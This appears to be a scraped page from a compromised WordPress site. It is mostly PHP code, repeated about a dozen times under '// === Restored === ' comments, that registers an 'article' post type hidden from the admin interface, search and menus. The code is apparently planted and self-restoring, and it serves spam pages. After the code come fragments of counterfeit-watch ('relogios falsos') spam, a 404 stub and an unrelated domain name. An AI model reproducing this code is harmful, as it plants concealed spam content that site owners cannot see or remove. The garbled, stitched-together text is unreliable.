"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10);
relogios falsos

The No-Date Submariner (124060) offers sublime symmetry and purity, hewing closest to the original tool-watch ethos. The Submariner Date (126610) adds the practical Cyclops lens over the date, completing its iconic look for many.

The watch that saved the mechanical watch industry. Designed by the legendary GΓ©rald Genta in 1972, it was the first luxury sports watch made of steel, challenging the notion that precious metal alone defined luxury.

Oops 404!

Page Not Found

Go to Home page

pokemonpop.de

Visit the manufactures of Switzerland's VallΓ©e de Joux or the plains of Le Locle, and you will find a silence that hums with concentration. Here, artisans practice skills that have been passed down for centuries.

Before a movement is even assembled, its components are finished to an degree of perfection that is often hidden from view. Beveled edges are polished to a mirror shine by hand. Bridges are adorned with Côtes de Genève striping.

Skip to content